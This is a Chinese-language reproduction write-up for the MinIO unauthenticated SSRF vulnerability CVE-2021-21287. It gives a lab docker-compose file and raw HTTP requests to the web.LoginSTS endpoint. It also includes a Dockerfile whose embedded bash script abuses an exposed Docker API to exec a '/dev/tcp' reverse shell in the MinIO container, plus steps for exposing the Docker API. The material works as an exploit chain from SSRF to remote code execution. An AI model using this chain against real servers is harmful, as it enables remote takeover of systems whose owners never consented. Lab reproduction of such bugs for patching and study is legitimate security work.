MinIO未授权SSRF漏洞(CVE-2021-21287)
MinIO未授权SSRF漏洞(CVE-2021-21287)
一、漏洞简介
由于MinIO组件中LoginSTS接口设计不当,导致存在服务器端请求伪造漏洞
攻击者可以通过构造URL来发起服务器端请求伪造攻击成功利用此漏洞的攻击者能够通过利用服务器上的功能来读取、更新内部资源或执行任意命令
该漏洞无需用户验证即可远程利用
二、影响版本
MinIO < RELEASE.2021-01-30T00-20-58Z
三、环境准备&漏洞复现
Docker 安装 minio:
docker-compose.yml
version:'3.7'services:minio1:image:minio/minio:RELEASE.2021-01-16T02-19-44Zvolumes:-data1-1:/data1-data1-2:/data2ports:-"9000:9000"environment:MINIO_ACCESS_KEY:minioMINIO_SECRET_KEY:minio123command:server http://minio{1...4}/data{1...2}healthcheck:test:["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]interval:30stimeout:20sretries:3## By default this config uses default local driver,## For custom volumes replace with volume driver configuration.volumes:data1-1:data1-2:
启动环境:
首页样式:
http://192.168.1.108:9000/minio/login
1、验证SSRF
具体数据包:
POST/minio/webrpcHTTP/1.1Host: 192.168.1.104:1234User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}
2、ssrf反弹shell
web服务下面放文件:index.php(apache)
反弹shell文件:
DockerFile如下:
FROM alpine:3.13RUN apk add curl bash jqRUNset-ex && \ { \echo'#!/bin/bash'; \echo'set -ex'; \echo'target="http://192.168.1.108:2375"'; \echo'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \echo'for item in ${jsons[@]}; do'; \echo' name=$(echo $item | base64 -d | jq -r ".Image")'; \echo' if [[ "$name" == *"minio/minio"* ]]; then'; \echo' id=$(echo $item | base64 -d | jq -r ".Id")'; \echo' break'; \echo' fi'; \echo'done'; \echo'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.104/888 0>&1\"]}" | jq -r ".Id")'; \echo'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \ } | bash
具体操作数据包:
POST/minio/webrpcHTTP/1.1Host: 192.168.1.104User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}
为了好的展示录了一个小视频。
过程枯燥等待较长:加了一个BGM
视频:
操作视频的结果:
https://mp.weixin.qq.com/s/9OavrcdczSZDXler5IpiQQ
注意⚠️:
因为自己Docker API已开启,过程未写入其中。
开启Docker API参考:
打开配置文件找到ExecStart=/usr/bin/dockerd 修改为ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重启$ systemctl daemon-reload$ systemctl restart docker
过程中还是很多坑需要去爬😂😂😂(多次尝试未果,最后成功,部分细节未记录丢失了)
时间匆忙有些粗糙望见谅🙏
SSRF-poc:
POST/minio/webrpcHTTP/1.1Host: 监听地址User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Content-Type: application/jsonConnection: closeContent-Length: 79{"id":1,"jsonrpc":"2.0","params":{"token":"test"},"method":"web.LoginSTS"}
参考:
https://mp.weixin.qq.com/s/X04IhY9Oau-kDOVbok8wEw
https://www.o2oxy.cn/3104.html
https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
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